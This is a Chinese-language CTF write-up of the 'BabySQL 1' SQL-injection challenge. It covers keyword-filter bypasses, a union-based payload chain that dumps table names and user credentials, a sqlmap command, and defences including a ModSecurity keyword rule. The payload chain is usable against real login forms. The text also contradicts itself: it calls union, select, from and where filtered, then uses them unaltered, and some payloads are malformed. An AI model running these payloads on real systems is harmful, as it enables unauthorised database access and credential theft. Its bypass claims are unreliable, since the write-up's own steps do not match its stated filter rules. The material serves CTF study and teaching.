ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

SQL注入基础:BabySQL 1 CTF题目解析与绕过技巧

SQL注入基础:BabySQL 1 CTF题目解析与绕过技巧

1. 题目背景解析

"BabySQL 1"是2019年极客大挑战中的一道SQL注入类CTF题目。这类题目通常模拟真实Web应用中的数据库交互场景,考察选手对SQL注入原理的理解和绕过技巧的掌握。题目名称中的"Baby"暗示这是一个基础级别的SQL注入挑战,适合新手入门学习。

从题目编号"1"可以看出这是该系列的第一题,通常会设置相对简单的过滤机制,主要考察基础的注入手法。这类题目在实际CTF比赛中非常常见,是Web安全方向的必考知识点。

2. 环境搭建与题目分析

2.1 题目环境准备

首先我们需要搭建本地测试环境来复现这道题目。推荐使用Docker快速部署:

docker pull ctftraining/baby_sql docker run -d -p 8080:80 --name baby_sql ctftraining/baby_sql

访问http://localhost:8080即可看到题目界面。典型的登录页面结构,包含用户名和密码输入框。

2.2 初步测试

尝试基本的SQL注入payload:

admin' or 1=1 --

发现返回错误信息,提示某些关键字被过滤。这是题目设置的防御机制,我们需要分析具体的过滤规则。

3. 过滤机制分析与绕过

3.1 识别过滤关键字

通过系统化测试,可以发现以下关键字被过滤:

  • or
  • and
  • select
  • from
  • where
  • union
  • =
  • 空格
  • 注释符(--, #)

3.2 绕过技巧详解

3.2.1 关键字替换

对于被过滤的关键字,可以采用以下替代方案:

  • or → || (逻辑或)
  • and → && (逻辑与)
  • = → like
  • 空格 → /**/或%09(TAB)
3.2.2 注释符绕过

由于常规注释符被过滤,可以使用:

'||1=1||'

这种闭合方式代替注释。

3.2.3 等号绕过

等号被过滤时可以使用:

  • like
  • regexp
  • <>反向逻辑

4. 完整注入流程

4.1 判断注入点

使用测试payload:

admin'||'1'like'1

如果返回正常,说明存在注入点。

4.2 获取数据库信息

绕过select过滤获取数据库版本:

admin'/**/union/**/select/**/1,version(),3||'

这里使用/**/代替空格,version()替代被过滤的database()。

4.3 获取表名

admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()||'

4.4 获取字段名

admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**'users'||'

4.5 获取flag

最后获取目标数据:

admin'/**/union/**/select/**/1,group_concat(username,0x3a,password),3/**/from/**/users||'

5. 自动化工具使用

虽然手工注入有助于理解原理,但在实际场景中可以使用sqlmap提高效率:

sqlmap -u "http://target/login.php" --data="username=admin&password=123" --tamper=space2comment --random-agent --level=3

关键参数说明:

  • --tamper=space2comment:将空格转换为/**/
  • --level=3:提高检测级别
  • --random-agent:随机User-Agent

6. 防御方案

6.1 代码层面

// 预处理语句 $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $username, $password); $stmt->execute();

6.2 WAF规则

SecRule REQUEST_FILENAME "@contains login.php" \ "id:1001,\ phase:2,\ t:none,\ block,\ msg:'SQLi attempt',\ chain" SecRule ARGS "@rx (?i)(union|select|from|where|and|or|\-\-|#|=)"

7. 常见问题排查

7.1 注入无响应

可能原因:

  1. 过滤规则未完全绕过
  2. 注入点判断错误
  3. 特殊字符编码问题

解决方案:

  1. 系统化测试每个字符的过滤情况
  2. 尝试不同参数位置
  3. 使用URL编码特殊字符

7.2 获取数据不完整

可能原因:

  1. 数据截断
  2. 字段类型不匹配

解决方案:

  1. 使用limit分页获取
  2. 使用cast()转换字段类型

8. 实战经验分享

  1. 在测试过滤规则时,建议从简单到复杂逐步测试,先确定哪些字符被过滤,再设计绕过方案。

  2. 遇到复杂过滤时,可以尝试以下技巧:

  • 大小写混合:SeLeCt
  • 双重编码:%2520代替空格
  • 内联注释:/!select/
  1. 实际比赛中时间有限,建议先手工确认注入点,再用工具爆破。

  2. 注意Web服务器日志可能会记录攻击行为,在合法授权范围内进行测试。

  3. 不同数据库的语法差异很大,MySQL的绕过方法不一定适用于Oracle或SQL Server。

这道题目虽然名为"BabySQL",但完整涵盖了SQL注入的基础知识点。通过这道题目的练习,可以掌握基本的注入检测、绕过技巧和数据获取方法。在实际应用中,务必遵守法律法规,仅在授权范围内进行安全测试。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进